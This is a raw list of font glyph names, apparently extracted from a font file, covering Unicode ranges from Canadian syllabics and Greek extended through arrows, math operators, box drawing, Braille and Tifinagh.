uni144Duni144Euni144Funi1450uni1451uni1452uni1454uni1455uni1456uni1457uni1458uni1459uni145Auni145Buni145Cuni145Duni145Euni145Funi1460uni1461uni1462uni1463uni1464uni1465uni1466uni1467uni1468uni1469uni146Auni146Buni146Cuni146Duni146Euni146Funi1470uni1471uni1472uni1473uni1474uni1475uni1476uni1477uni1478uni1479uni147Auni147Buni147Cuni147Duni147Euni147Funi1480uni1481uni1482uni1483uni1484uni1485uni1486uni1487uni1488uni1489uni148Auni148Buni148Cuni148Duni148Euni148Funi1490uni1491uni1492uni1493uni1494uni1495uni1496uni1497uni1498uni1499uni149Auni149Buni149Cuni149Duni149Euni149Funi14A0uni14A1uni14A2uni14A3uni14A4uni14A5uni14A6uni14A7uni14A8uni14A9uni14AAuni14ABuni14ACuni14ADuni14AEuni14AFuni14B0uni14B1uni14B2uni14B3uni14B4uni14B5uni14B6uni14B7uni14B8uni14B9uni14BAuni14BBuni14BCuni14BDuni14C0uni14C1uni14C2uni14C3uni14C4uni14C5uni14C6uni14C7uni14C8uni14C9uni14CAuni14CBuni14CCuni14CDuni14CEuni14CFuni14D0uni14D1uni14D2uni14D3uni14D4uni14D5uni14D6uni14D7uni14D8uni14D9uni14DAuni14DBuni14DCuni14DDuni14DEuni14DFuni14E0uni14E1uni14E2uni14E3uni14E4uni14E5uni14E6uni14E7uni14E8uni14E9uni14EAuni14ECuni14EDuni14EEuni14EFuni14F0uni14F1uni14F2uni14F3uni14F4uni14F5uni14F6uni14F7uni14F8uni14F9uni14FAuni14FBuni14FCuni14FDuni14FEuni14FFuni1500uni1501uni1502uni1503uni1504uni1505uni1506uni1507uni1510uni1511uni1512uni1513uni1514uni1515uni1516uni1517uni1518uni1519uni151Auni151Buni151Cuni151Duni151Euni151Funi1520uni1521uni1522uni1523uni1524uni1525uni1526uni1527uni1528uni1529uni152Auni152Buni152Cuni152Duni152Euni152Funi1530uni1531uni1532uni1533uni1534uni1535uni1536uni1537uni1538uni1539uni153Auni153Buni153Cuni153Duni153Euni1540uni1541uni1542uni1543uni1544uni1545uni1546uni1547uni1548uni1549uni154Auni154Buni154Cuni154Duni154Euni154Funi1550uni1552uni1553uni1554uni1555uni1556uni1557uni1558uni1559uni155Auni155Buni155Cuni155Duni155Euni155Funi1560uni1561uni1562uni1563uni1564uni1565uni1566uni1567uni1568uni1569uni156Auni1574uni1575uni1576uni1577uni1578uni1579uni157Auni157Buni157Cuni157Duni157Euni157Funi1580uni1581uni1582uni1583uni1584uni1585uni158Auni158Buni158Cuni158Duni158Euni158Funi1590uni1591uni1592uni1593uni1594uni1595uni1596uni15A0uni15A1uni15A2uni15A3uni15A4uni15A5uni15A6uni15A7uni15A8uni15A9uni15AAuni15ABuni15ACuni15ADuni15AEuni15AFuni15DEuni15E1uni1646uni1647uni166Euni166Funi1670uni1671uni1672uni1673uni1674uni1675uni1676uni1680uni1681uni1682uni1683uni1684uni1685uni1686uni1687uni1688uni1689uni168Auni168Buni168Cuni168Duni168Euni168Funi1690uni1691uni1692uni1693uni1694uni1695uni1696uni1697uni1698uni1699uni169Auni169Buni169Cuni1D00uni1D01uni1D02uni1D03uni1D04uni1D05uni1D06uni1D07uni1D08uni1D09uni1D0Auni1D0Buni1D0Cuni1D0Duni1D0Euni1D0Funi1D10uni1D11uni1D12uni1D13uni1D14uni1D16uni1D17uni1D18uni1D19uni1D1Auni1D1Buni1D1Cuni1D1Duni1D1Euni1D1Funi1D20uni1D21uni1D22uni1D23uni1D26uni1D27uni1D28uni1D29uni1D2Auni1D2Buni1D2Cuni1D2Duni1D2Euni1D30uni1D31uni1D32uni1D33uni1D34uni1D35uni1D36uni1D37uni1D38uni1D39uni1D3Auni1D3Buni1D3Cuni1D3Duni1D3Euni1D3Funi1D40uni1D41uni1D42uni1D43uni1D44uni1D45uni1D46uni1D47uni1D48uni1D49uni1D4Auni1D4Buni1D4Cuni1D4Duni1D4Euni1D4Funi1D50uni1D51uni1D52uni1D53uni1D54uni1D55uni1D56uni1D57uni1D58uni1D59uni1D5Auni1D5Buni1D5Duni1D5Euni1D5Funi1D60uni1D61uni1D62uni1D63uni1D64uni1D65uni1D66uni1D67uni1D68uni1D69uni1D6Auni1D77uni1D78uni1D7Buni1D7Duni1D85uni1D9Buni1D9Cuni1D9Duni1D9Euni1D9Funi1DA0uni1DA1uni1DA2uni1DA3uni1DA4uni1DA5uni1DA6uni1DA7uni1DA8uni1DA9uni1DAAuni1DABuni1DACuni1DADuni1DAEuni1DAFuni1DB0uni1DB1uni1DB2uni1DB3uni1DB4uni1DB5uni1DB6uni1DB7uni1DB8uni1DB9uni1DBAuni1DBBuni1DBCuni1DBDuni1DBEuni1DBFuni1DC4uni1DC5uni1DC6uni1DC7uni1DC8uni1DC9uni1E00uni1E01uni1E02uni1E03uni1E04uni1E05uni1E06uni1E07uni1E08uni1E09uni1E0Auni1E0Buni1E0Cuni1E0Duni1E0Euni1E0Funi1E10uni1E11uni1E12uni1E13uni1E14uni1E15uni1E16uni1E17uni1E18uni1E19uni1E1Auni1E1Buni1E1Cuni1E1Duni1E1Euni1E1Funi1E20uni1E21uni1E22uni1E23uni1E24uni1E25uni1E26uni1E27uni1E28uni1E29uni1E2Auni1E2Buni1E2Cuni1E2Duni1E2Euni1E2Funi1E30uni1E31uni1E32uni1E33uni1E34uni1E35uni1E36uni1E37uni1E38uni1E39uni1E3Auni1E3Buni1E3Cuni1E3Duni1E3Euni1E3Funi1E40uni1E41uni1E42uni1E43uni1E44uni1E45uni1E46uni1E47uni1E48uni1E49uni1E4Auni1E4Buni1E4Cuni1E4Duni1E4Euni1E4Funi1E50uni1E51uni1E52uni1E53uni1E54uni1E55uni1E56uni1E57uni1E58uni1E59uni1E5Auni1E5Buni1E5Cuni1E5Duni1E5Euni1E5Funi1E60uni1E61uni1E62uni1E63uni1E64uni1E65uni1E66uni1E67uni1E68uni1E69uni1E6Auni1E6Buni1E6Cuni1E6Duni1E6Euni1E6Funi1E70uni1E71uni1E72uni1E73uni1E74uni1E75uni1E76uni1E77uni1E78uni1E79uni1E7Auni1E7Buni1E7Cuni1E7Duni1E7Euni1E7FWgravewgraveWacutewacute	Wdieresis	wdieresisuni1E86uni1E87uni1E88uni1E89uni1E8Auni1E8Buni1E8Cuni1E8Duni1E8Euni1E8Funi1E90uni1E91uni1E92uni1E93uni1E94uni1E95uni1E96uni1E97uni1E98uni1E99uni1E9Auni1E9Buni1E9Cuni1E9Duni1E9Euni1E9Funi1EA0uni1EA1uni1EA2uni1EA3uni1EA4uni1EA5uni1EA6uni1EA7uni1EA8uni1EA9uni1EAAuni1EABuni1EACuni1EADuni1EAEuni1EAFuni1EB0uni1EB1uni1EB2uni1EB3uni1EB4uni1EB5uni1EB6uni1EB7uni1EB8uni1EB9uni1EBAuni1EBBuni1EBCuni1EBDuni1EBEuni1EBFuni1EC0uni1EC1uni1EC2uni1EC3uni1EC4uni1EC5uni1EC6uni1EC7uni1EC8uni1EC9uni1ECAuni1ECBuni1ECCuni1ECDuni1ECEuni1ECFuni1ED0uni1ED1uni1ED2uni1ED3uni1ED4uni1ED5uni1ED6uni1ED7uni1ED8uni1ED9uni1EDAuni1EDBuni1EDCuni1EDDuni1EDEuni1EDFuni1EE0uni1EE1uni1EE2uni1EE3uni1EE4uni1EE5uni1EE6uni1EE7uni1EE8uni1EE9uni1EEAuni1EEBuni1EECuni1EEDuni1EEEuni1EEFuni1EF0uni1EF1Ygraveygraveuni1EF4uni1EF5uni1EF6uni1EF7uni1EF8uni1EF9uni1EFAuni1EFBuni1F00uni1F01uni1F02uni1F03uni1F04uni1F05uni1F06uni1F07uni1F08uni1F09uni1F0Auni1F0Buni1F0Cuni1F0Duni1F0Euni1F0Funi1F10uni1F11uni1F12uni1F13uni1F14uni1F15uni1F18uni1F19uni1F1Auni1F1Buni1F1Cuni1F1Duni1F20uni1F21uni1F22uni1F23uni1F24uni1F25uni1F26uni1F27uni1F28uni1F29uni1F2Auni1F2Buni1F2Cuni1F2Duni1F2Euni1F2Funi1F30uni1F31uni1F32uni1F33uni1F34uni1F35uni1F36uni1F37uni1F38uni1F39uni1F3Auni1F3Buni1F3Cuni1F3Duni1F3Euni1F3Funi1F40uni1F41uni1F42uni1F43uni1F44uni1F45uni1F48uni1F49uni1F4Auni1F4Buni1F4Cuni1F4Duni1F50uni1F51uni1F52uni1F53uni1F54uni1F55uni1F56uni1F57uni1F59uni1F5Buni1F5Duni1F5Funi1F60uni1F61uni1F62uni1F63uni1F64uni1F65uni1F66uni1F67uni1F68uni1F69uni1F6Auni1F6Buni1F6Cuni1F6Duni1F6Euni1F6Funi1F70uni1F71uni1F72uni1F73uni1F74uni1F75uni1F76uni1F77uni1F78uni1F79uni1F7Auni1F7Buni1F7Cuni1F7Duni1F80uni1F81uni1F82uni1F83uni1F84uni1F85uni1F86uni1F87uni1F88uni1F89uni1F8Auni1F8Buni1F8Cuni1F8Duni1F8Euni1F8Funi1F90uni1F91uni1F92uni1F93uni1F94uni1F95uni1F96uni1F97uni1F98uni1F99uni1F9Auni1F9Buni1F9Cuni1F9Duni1F9Euni1F9Funi1FA0uni1FA1uni1FA2uni1FA3uni1FA4uni1FA5uni1FA6uni1FA7uni1FA8uni1FA9uni1FAAuni1FABuni1FACuni1FADuni1FAEuni1FAFuni1FB0uni1FB1uni1FB2uni1FB3uni1FB4uni1FB6uni1FB7uni1FB8uni1FB9uni1FBAuni1FBBuni1FBCuni1FBDuni1FBEuni1FBFuni1FC0uni1FC1uni1FC2uni1FC3uni1FC4uni1FC6uni1FC7uni1FC8uni1FC9uni1FCAuni1FCBuni1FCCuni1FCDuni1FCEuni1FCFuni1FD0uni1FD1uni1FD2uni1FD3uni1FD6uni1FD7uni1FD8uni1FD9uni1FDAuni1FDBuni1FDDuni1FDEuni1FDFuni1FE0uni1FE1uni1FE2uni1FE3uni1FE4uni1FE5uni1FE6uni1FE7uni1FE8uni1FE9uni1FEAuni1FEBuni1FECuni1FEDuni1FEEuni1FEFuni1FF2uni1FF3uni1FF4uni1FF6uni1FF7uni1FF8uni1FF9uni1FFAuni1FFBuni1FFCuni1FFDuni1FFEuni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni200Buni200Cuni200Duni200Euni200Funi2010uni2011
figuredashuni2015uni2016
underscoredbl
quotereverseduni201Funi2023onedotenleadertwodotenleaderuni2027uni2028uni2029uni202Auni202Buni202Cuni202Duni202Euni202Funi2031minuteseconduni2034uni2035uni2036uni2037uni2038uni203B	exclamdbluni203Duni203Euni203Funi2040uni2041uni2042uni2043uni2045uni2046uni2047uni2048uni2049uni204Auni204Buni204Cuni204Duni204Euni204Funi2050uni2051uni2052uni2053uni2054uni2055uni2056uni2057uni2058uni2059uni205Auni205Buni205Cuni205Duni205Euni205Funi2060uni2061uni2062uni2063uni2064uni206Auni206Buni206Cuni206Duni206Euni206Funi2070uni2071uni2074uni2075uni2076uni2077uni2078uni2079uni207Auni207Buni207Cuni207Duni207Euni207Funi2080uni2081uni2082uni2083uni2084uni2085uni2086uni2087uni2088uni2089uni208Auni208Buni208Cuni208Duni208Euni2090uni2091uni2092uni2093uni2094uni2095uni2096uni2097uni2098uni2099uni209Auni209Buni209Cuni20A0
colonmonetaryuni20A2lirauni20A5uni20A6pesetauni20A8uni20A9uni20AAdongEurouni20ADuni20AEuni20AFuni20B0uni20B1uni20B2uni20B3uni20B4uni20B5uni20B8uni20B9uni20BAuni20BDuni20D0uni20D1uni20D6uni20D7uni20DBuni20DCuni20E1uni2100uni2101uni2102uni2103uni2104uni2105uni2106uni2107uni2108uni2109uni210Buni210Cuni210Duni210Euni210Funi2110Ifrakturuni2112uni2113uni2114uni2115uni2116uni2117weierstrassuni2119uni211Auni211BRfrakturuni211Dprescriptionuni211Funi2120uni2121uni2123uni2124uni2125uni2126uni2127uni2128uni2129uni212Auni212Buni212Cuni212D	estimateduni212Funi2130uni2131uni2132uni2133uni2134alephuni2136uni2137uni2138uni2139uni213Auni213Buni213Cuni213Duni213Euni213Funi2140uni2141uni2142uni2143uni2144uni2145uni2146uni2147uni2148uni2149uni214Buni214Euni2150uni2151uni2152onethird	twothirdsuni2155uni2156uni2157uni2158uni2159uni215A	oneeighththreeeighthsfiveeighthsseveneighthsuni215Funi2160uni2161uni2162uni2163uni2164uni2165uni2166uni2167uni2168uni2169uni216Auni216Buni216Cuni216Duni216Euni216Funi2170uni2171uni2172uni2173uni2174uni2175uni2176uni2177uni2178uni2179uni217Auni217Buni217Cuni217Duni217Euni217Funi2180uni2181uni2182uni2183uni2184uni2185uni2189	arrowleftarrowup
arrowright	arrowdown	arrowboth	arrowupdnuni2196uni2197uni2198uni2199uni219Auni219Buni219Cuni219Duni219Euni219Funi21A0uni21A1uni21A2uni21A3uni21A4uni21A5uni21A6uni21A7arrowupdnbseuni21A9uni21AAuni21ABuni21ACuni21ADuni21AEuni21AFuni21B0uni21B1uni21B2uni21B3uni21B4carriagereturnuni21B6uni21B7uni21B8uni21B9uni21BAuni21BBuni21BCuni21BDuni21BEuni21BFuni21C0uni21C1uni21C2uni21C3uni21C4uni21C5uni21C6uni21C7uni21C8uni21C9uni21CAuni21CBuni21CCuni21CDuni21CEuni21CFarrowdblleft
arrowdblup
arrowdblrightarrowdbldownarrowdblbothuni21D5uni21D6uni21D7uni21D8uni21D9uni21DAuni21DBuni21DCuni21DDuni21DEuni21DFuni21E0uni21E1uni21E2uni21E3uni21E4uni21E5uni21E6uni21E7uni21E8uni21E9uni21EAuni21EBuni21ECuni21EDuni21EEuni21EFuni21F0uni21F1uni21F2uni21F3uni21F4uni21F5uni21F6uni21F7uni21F8uni21F9uni21FAuni21FBuni21FCuni21FDuni21FEuni21FF	universaluni2201existentialuni2204emptysetgradientelement
notelementuni220Asuchthatuni220Cuni220Duni220Euni2210uni2213uni2214uni2215uni2216asteriskmathuni2218uni2219uni221Buni221Cproportional
orthogonalangleuni2221uni2222uni2223uni2224uni2225uni2226
logicaland	logicalorintersectionunionuni222Cuni222Duni222Euni222Funi2230uni2231uni2232uni2233	thereforeuni2235uni2236uni2237uni2238uni2239uni223Auni223Bsimilaruni223Duni223Euni223Funi2240uni2241uni2242uni2243uni2244	congruentuni2246uni2247uni2249uni224Auni224Buni224Cuni224Duni224Euni224Funi2250uni2251uni2252uni2253uni2254uni2255uni2256uni2257uni2258uni2259uni225Auni225Buni225Cuni225Duni225Euni225Fequivalenceuni2262uni2263uni2266uni2267uni2268uni2269uni226Auni226Buni226Cuni226Duni226Euni226Funi2270uni2271uni2272uni2273uni2274uni2275uni2276uni2277uni2278uni2279uni227Auni227Buni227Cuni227Duni227Euni227Funi2280uni2281propersubsetpropersuperset	notsubsetuni2285reflexsubsetreflexsupersetuni2288uni2289uni228Auni228Buni228Cuni228Duni228Euni228Funi2290uni2291uni2292uni2293uni2294
circleplusuni2296circlemultiplyuni2298uni2299uni229Auni229Buni229Cuni229Duni229Euni229Funi22A0uni22A1uni22A2uni22A3uni22A4
perpendicularuni22A6uni22A7uni22A8uni22A9uni22AAuni22ABuni22ACuni22ADuni22AEuni22AFuni22B0uni22B1uni22B2uni22B3uni22B4uni22B5uni22B6uni22B7uni22B8uni22B9uni22BAuni22BBuni22BCuni22BDuni22BEuni22BFuni22C0uni22C1uni22C2uni22C3uni22C4dotmathuni22C6uni22C7uni22C8uni22C9uni22CAuni22CBuni22CCuni22CDuni22CEuni22CFuni22D0uni22D1uni22D2uni22D3uni22D4uni22D5uni22D6uni22D7uni22D8uni22D9uni22DAuni22DBuni22DCuni22DDuni22DEuni22DFuni22E0uni22E1uni22E2uni22E3uni22E4uni22E5uni22E6uni22E7uni22E8uni22E9uni22EAuni22EBuni22ECuni22EDuni22EEuni22EFuni22F0uni22F1uni22F2uni22F3uni22F4uni22F5uni22F6uni22F7uni22F8uni22F9uni22FAuni22FBuni22FCuni22FDuni22FEuni22FFuni2300uni2301houseuni2303uni2304uni2305uni2306uni2307uni2308uni2309uni230Auni230Buni230Cuni230Duni230Euni230F
revlogicalnotuni2311uni2318uni2319uni231Cuni231Duni231Euni231F
integraltp
integralbtuni2324uni2325uni2326uni2327uni2328uni232Buni232Cuni2373uni2374uni2375uni237Auni237Duni2387uni2394uni239Buni239Cuni239Duni239Euni239Funi23A0uni23A1uni23A2uni23A3uni23A4uni23A5uni23A6uni23A7uni23A8uni23A9uni23AAuni23ABuni23ACuni23ADuni23AEuni23CEuni23CFuni23E3uni23E5uni23E8uni2422uni2423uni2460uni2461uni2462uni2463uni2464uni2465uni2466uni2467uni2468uni2469SF100000uni2501SF110000uni2503uni2504uni2505uni2506uni2507uni2508uni2509uni250Auni250BSF010000uni250Duni250Euni250FSF030000uni2511uni2512uni2513SF020000uni2515uni2516uni2517SF040000uni2519uni251Auni251BSF080000uni251Duni251Euni251Funi2520uni2521uni2522uni2523SF090000uni2525uni2526uni2527uni2528uni2529uni252Auni252BSF060000uni252Duni252Euni252Funi2530uni2531uni2532uni2533SF070000uni2535uni2536uni2537uni2538uni2539uni253Auni253BSF050000uni253Duni253Euni253Funi2540uni2541uni2542uni2543uni2544uni2545uni2546uni2547uni2548uni2549uni254Auni254Buni254Cuni254Duni254Euni254FSF430000SF240000SF510000SF520000SF390000SF220000SF210000SF250000SF500000SF490000SF380000SF280000SF270000SF260000SF360000SF370000SF420000SF190000SF200000SF230000SF470000SF480000SF410000SF450000SF460000SF400000SF540000SF530000SF440000uni256Duni256Euni256Funi2570uni2571uni2572uni2573uni2574uni2575uni2576uni2577uni2578uni2579uni257Auni257Buni257Cuni257Duni257Euni257Fupblockuni2581uni2582uni2583dnblockuni2585uni2586uni2587blockuni2589uni258Auni258Blfblockuni258Duni258Euni258Frtblockltshadeshadedkshadeuni2594uni2595uni2596uni2597uni2598uni2599uni259Auni259Buni259Cuni259Duni259Euni259F	filledboxH22073uni25A2uni25A3uni25A4uni25A5uni25A6uni25A7uni25A8uni25A9H18543H18551
filledrectuni25ADuni25AEuni25AFuni25B0uni25B1triagupuni25B3uni25B4uni25B5uni25B6uni25B7uni25B8uni25B9triagrtuni25BBtriagdnuni25BDuni25BEuni25BFuni25C0uni25C1uni25C2uni25C3triaglfuni25C5uni25C6uni25C7uni25C8uni25C9circleuni25CCuni25CDuni25CEH18533uni25D0uni25D1uni25D2uni25D3uni25D4uni25D5uni25D6uni25D7	invbullet	invcircleuni25DAuni25DBuni25DCuni25DDuni25DEuni25DFuni25E0uni25E1uni25E2uni25E3uni25E4uni25E5
openbulletuni25E7uni25E8uni25E9uni25EAuni25EBuni25ECuni25EDuni25EEuni25EFuni25F0uni25F1uni25F2uni25F3uni25F4uni25F5uni25F6uni25F7uni25F8uni25F9uni25FAuni25FBuni25FCuni25FDuni25FEuni25FFuni2600uni2601uni2602uni2603uni2604uni2605uni2606uni2607uni2608uni2609uni260Auni260Buni260Cuni260Duni260Euni260Funi2610uni2611uni2612uni2613uni2614uni2615uni2616uni2617uni2618uni2619uni261Auni261Buni261Cuni261Duni261Euni261Funi2620uni2621uni2622uni2623uni2624uni2625uni2626uni2627uni2628uni2629uni262Auni262Buni262Cuni262Duni262Euni262Funi2630uni2631uni2632uni2633uni2634uni2635uni2636uni2637uni2638uni2639	smilefaceinvsmilefacesununi263Duni263Euni263Ffemaleuni2641maleuni2643uni2644uni2645uni2646uni2647uni2648uni2649uni264Auni264Buni264Cuni264Duni264Euni264Funi2650uni2651uni2652uni2653uni2654uni2655uni2656uni2657uni2658uni2659uni265Auni265Buni265Cuni265Duni265Euni265Fspadeuni2661uni2662clubuni2664heartdiamonduni2667uni2668uni2669musicalnotemusicalnotedbluni266Cuni266Duni266Euni266Funi2670uni2671uni2672uni2673uni2674uni2675uni2676uni2677uni2678uni2679uni267Auni267Buni267Cuni267Duni267Euni267Funi2680uni2681uni2682uni2683uni2684uni2685uni2686uni2687uni2688uni2689uni268Auni268Buni268Cuni268Duni268Euni268Funi2690uni2691uni2692uni2693uni2694uni2695uni2696uni2697uni2698uni2699uni269Auni269Buni269Cuni269Euni269Funi26A0uni26A1uni26A2uni26A3uni26A4uni26A5uni26A6uni26A7uni26A8uni26A9uni26AAuni26ABuni26ACuni26ADuni26AEuni26AFuni26B0uni26B1uni26B2uni26B3uni26B4uni26B5uni26B6uni26B7uni26B8uni26C0uni26C1uni26C2uni26C3uni26E2uni2701uni2702uni2703uni2704uni2706uni2707uni2708uni2709uni270Cuni270Duni270Euni270Funi2710uni2711uni2712uni2713uni2714uni2715uni2716uni2717uni2718uni2719uni271Auni271Buni271Cuni271Duni271Euni271Funi2720uni2721uni2722uni2723uni2724uni2725uni2726uni2727uni2729uni272Auni272Buni272Cuni272Duni272Euni272Funi2730uni2731uni2732uni2733uni2734uni2735uni2736uni2737uni2738uni2739uni273Auni273Buni273Cuni273Duni273Euni273Funi2740uni2741uni2742uni2743uni2744uni2745uni2746uni2747uni2748uni2749uni274Auni274Buni274Duni274Funi2750uni2751uni2752uni2756uni2758uni2759uni275Auni275Buni275Cuni275Duni275Euni2761uni2762uni2763uni2764uni2765uni2766uni2767uni2768uni2769uni276Auni276Buni276Cuni276Duni276Euni276Funi2770uni2771uni2772uni2773uni2774uni2775uni2776uni2777uni2778uni2779uni277Auni277Buni277Cuni277Duni277Euni277Funi2780uni2781uni2782uni2783uni2784uni2785uni2786uni2787uni2788uni2789uni278Auni278Buni278Cuni278Duni278Euni278Funi2790uni2791uni2792uni2793uni2794uni2798uni2799uni279Auni279Buni279Cuni279Duni279Euni279Funi27A0uni27A1uni27A2uni27A3uni27A4uni27A5uni27A6uni27A7uni27A8uni27A9uni27AAuni27ABuni27ACuni27ADuni27AEuni27AFuni27B1uni27B2uni27B3uni27B4uni27B5uni27B6uni27B7uni27B8uni27B9uni27BAuni27BBuni27BCuni27BDuni27BEuni27C5uni27C6uni27E0uni27E6uni27E7uni27E8uni27E9uni27EAuni27EBuni27F0uni27F1uni27F2uni27F3uni27F4uni27F5uni27F6uni27F7uni27F8uni27F9uni27FAuni27FBuni27FCuni27FDuni27FEuni27FFuni2800uni2801uni2802uni2803uni2804uni2805uni2806uni2807uni2808uni2809uni280Auni280Buni280Cuni280Duni280Euni280Funi2810uni2811uni2812uni2813uni2814uni2815uni2816uni2817uni2818uni2819uni281Auni281Buni281Cuni281Duni281Euni281Funi2820uni2821uni2822uni2823uni2824uni2825uni2826uni2827uni2828uni2829uni282Auni282Buni282Cuni282Duni282Euni282Funi2830uni2831uni2832uni2833uni2834uni2835uni2836uni2837uni2838uni2839uni283Auni283Buni283Cuni283Duni283Euni283Funi2840uni2841uni2842uni2843uni2844uni2845uni2846uni2847uni2848uni2849uni284Auni284Buni284Cuni284Duni284Euni284Funi2850uni2851uni2852uni2853uni2854uni2855uni2856uni2857uni2858uni2859uni285Auni285Buni285Cuni285Duni285Euni285Funi2860uni2861uni2862uni2863uni2864uni2865uni2866uni2867uni2868uni2869uni286Auni286Buni286Cuni286Duni286Euni286Funi2870uni2871uni2872uni2873uni2874uni2875uni2876uni2877uni2878uni2879uni287Auni287Buni287Cuni287Duni287Euni287Funi2880uni2881uni2882uni2883uni2884uni2885uni2886uni2887uni2888uni2889uni288Auni288Buni288Cuni288Duni288Euni288Funi2890uni2891uni2892uni2893uni2894uni2895uni2896uni2897uni2898uni2899uni289Auni289Buni289Cuni289Duni289Euni289Funi28A0uni28A1uni28A2uni28A3uni28A4uni28A5uni28A6uni28A7uni28A8uni28A9uni28AAuni28ABuni28ACuni28ADuni28AEuni28AFuni28B0uni28B1uni28B2uni28B3uni28B4uni28B5uni28B6uni28B7uni28B8uni28B9uni28BAuni28BBuni28BCuni28BDuni28BEuni28BFuni28C0uni28C1uni28C2uni28C3uni28C4uni28C5uni28C6uni28C7uni28C8uni28C9uni28CAuni28CBuni28CCuni28CDuni28CEuni28CFuni28D0uni28D1uni28D2uni28D3uni28D4uni28D5uni28D6uni28D7uni28D8uni28D9uni28DAuni28DBuni28DCuni28DDuni28DEuni28DFuni28E0uni28E1uni28E2uni28E3uni28E4uni28E5uni28E6uni28E7uni28E8uni28E9uni28EAuni28EBuni28ECuni28EDuni28EEuni28EFuni28F0uni28F1uni28F2uni28F3uni28F4uni28F5uni28F6uni28F7uni28F8uni28F9uni28FAuni28FBuni28FCuni28FDuni28FEuni28FFuni2906uni2907uni290Auni290Buni2940uni2941uni2983uni2984uni29CEuni29CFuni29D0uni29D1uni29D2uni29D3uni29D4uni29D5uni29EBuni29FAuni29FBuni2A00uni2A01uni2A02uni2A0Cuni2A0Duni2A0Euni2A0Funi2A10uni2A11uni2A12uni2A13uni2A14uni2A15uni2A16uni2A17uni2A18uni2A19uni2A1Auni2A1Buni2A1Cuni2A2Funi2A6Auni2A6Buni2A7Duni2A7Euni2A7Funi2A80uni2A81uni2A82uni2A83uni2A84uni2A85uni2A86uni2A87uni2A88uni2A89uni2A8Auni2A8Buni2A8Cuni2A8Duni2A8Euni2A8Funi2A90uni2A91uni2A92uni2A93uni2A94uni2A95uni2A96uni2A97uni2A98uni2A99uni2A9Auni2A9Buni2A9Cuni2A9Duni2A9Euni2A9Funi2AA0uni2AAEuni2AAFuni2AB0uni2AB1uni2AB2uni2AB3uni2AB4uni2AB5uni2AB6uni2AB7uni2AB8uni2AB9uni2ABAuni2AF9uni2AFAuni2B00uni2B01uni2B02uni2B03uni2B04uni2B05uni2B06uni2B07uni2B08uni2B09uni2B0Auni2B0Buni2B0Cuni2B0Duni2B0Euni2B0Funi2B10uni2B11uni2B12uni2B13uni2B14uni2B15uni2B16uni2B17uni2B18uni2B19uni2B1Auni2B1Funi2B20uni2B21uni2B22uni2B23uni2B24uni2B53uni2B54uni2C60uni2C61uni2C62uni2C63uni2C64uni2C65uni2C66uni2C67uni2C68uni2C69uni2C6Auni2C6Buni2C6Cuni2C6Duni2C6Euni2C6Funi2C70uni2C71uni2C72uni2C73uni2C74uni2C75uni2C76uni2C77uni2C79uni2C7Auni2C7Buni2C7Cuni2C7Duni2C7Euni2C7Funi2D00uni2D01uni2D02uni2D03uni2D04uni2D05uni2D06uni2D07uni2D08uni2D09uni2D0Auni2D0Buni2D0Cuni2D0Duni2D0Euni2D0Funi2D10uni2D11uni2D12uni2D13uni2D14uni2D15uni2D16uni2D17uni2D18uni2D19uni2D1Auni2D1Buni2D1Cuni2D1Duni2D1Euni2D1Funi2D20uni2D21uni2D22uni2D23uni2D24uni2D25uni2D30uni2D31uni2D32uni2D33uni2D34uni2D35uni2D36uni2D37uni2D38uni2D39uni2D3Auni2D3Buni2D3Cuni2D3Duni2D3Euni2D3Funi2D40uni2D41uni2D42uni2D43uni2D44uni2D45uni2D46uni2D47uni2D48uni2D49uni2D4Auni2D4Buni2D4Cuni2D4Duni2D4Euni2D4Funi2D50uni2D51uni2D52uni2D53uni2D54uni2D55uni2D56uni2D57uni2D58uni2D59uni2D5Auni2D5Buni2D5Cuni2D5Duni2D5Euni2D5Funi2D60uni2D61uni2D62uni2D63uni2D64uni2D65uni2D6Funi2E18uni2E1Funi2E22uni2E23uni2E24uni2E25uni2E2Euni4DC0uni4DC1uni4DC2uni4DC3uni4DC4uni4DC5uni4DC6uni4DC7uni4DC8uni4DC9uni4DCAuni4DCBuni4DCCuni4DCDuni4DCEuni4DCFuni4DD0uni4DD1uni4DD2uni4DD3uni4DD4uni4DD5uni4DD6uni4DD7uni4DD8uni4DD9uni4DDAuni4DDBuni4DDCuni4DDDuni4DDEuni4DDFuni4DE0uni4DE1uni4DE2uni4DE3uni4DE4uni4DE5uni4DE6uni4DE7uni4DE8uni4DE9uni4DEAuni4DEBuni4DECuni4DEDuni4DEEuni4DEFuni4DF0uni4DF1uni4DF2uni4DF3uni4DF4uni4DF5uni4DF6uni4DF7uni4DF8uni4DF9uni4DFAuni4DFBuni4DFCuni4DFDuni4DFEuni4DFFuniA4D0uniA4D1uniA4D2uniA4D3uniA4D4uniA4D5uniA4D6uniA4D7uniA4D8uniA4D9uniA4DAuniA4DBuniA4DCuniA4DDuniA4DEuniA4DFuniA4E0uniA4E1uniA4E2uniA4E3uniA4E4uniA4E5uniA4E6uniA4E7uniA4E8uniA4E9uniA4EAuniA4EBuniA4ECuniA4EDuniA4EEuniA4EFuniA4F0uniA4F1uniA4F2uniA4F3uniA4F4uniA4F5uniA4F6uniA4F7uniA4F8uniA4F9uniA4FAuniA4FBuniA4FCuniA4FDuniA4FEuniA4FFuniA644uniA645uniA646uniA647uniA64CuniA64DuniA650uniA651uniA654uniA655uniA656uniA657uniA662uniA663uniA664uniA665uniA666uniA667uniA668uniA669uniA66AuniA66BuniA66CuniA66DuniA66EuniA68AuniA68BuniA68CuniA68DuniA694uniA695uniA698uniA699uniA708uniA709uniA70AuniA70BuniA70CuniA70DuniA70EuniA70FuniA710uniA711uniA712uniA713uniA714uniA715uniA716uniA71BuniA71CuniA71DuniA71EuniA71FuniA722uniA723uniA724uniA725uniA726uniA727uniA728uniA729uniA72AuniA72BuniA730uniA731uniA732uniA733uniA734uniA735uniA736uniA737uniA738uniA739uniA73AuniA73BuniA73CuniA73DuniA73EuniA73FuniA740uniA741uniA746uniA747uniA748uniA749uniA74AuniA74BuniA74EuniA74FuniA750uniA751uniA752uniA753uniA756uniA757uniA764uniA765uniA766uniA767uniA780uniA781uniA782uniA783uniA789uniA78AuniA78BuniA78CuniA78DuniA78EuniA790uniA791uniA7A0uniA7A1uniA7A2uniA7A3uniA7A4uniA7A5uniA7A6uniA7A7uniA7A8uniA7A9uniA7AAuniA7F8uniA7F9uniA7FAuniA7FBuniA7FCuniA7FDuniA7FEuniA7FF	uni02E5.5	uni02E6.5	uni02E7.5	uni02E8.5	uni02E9.5	uni02E5.4	uni02E6.4	uni02E7.4	uni02E8.4	uni02E9.4	uni02E5.3	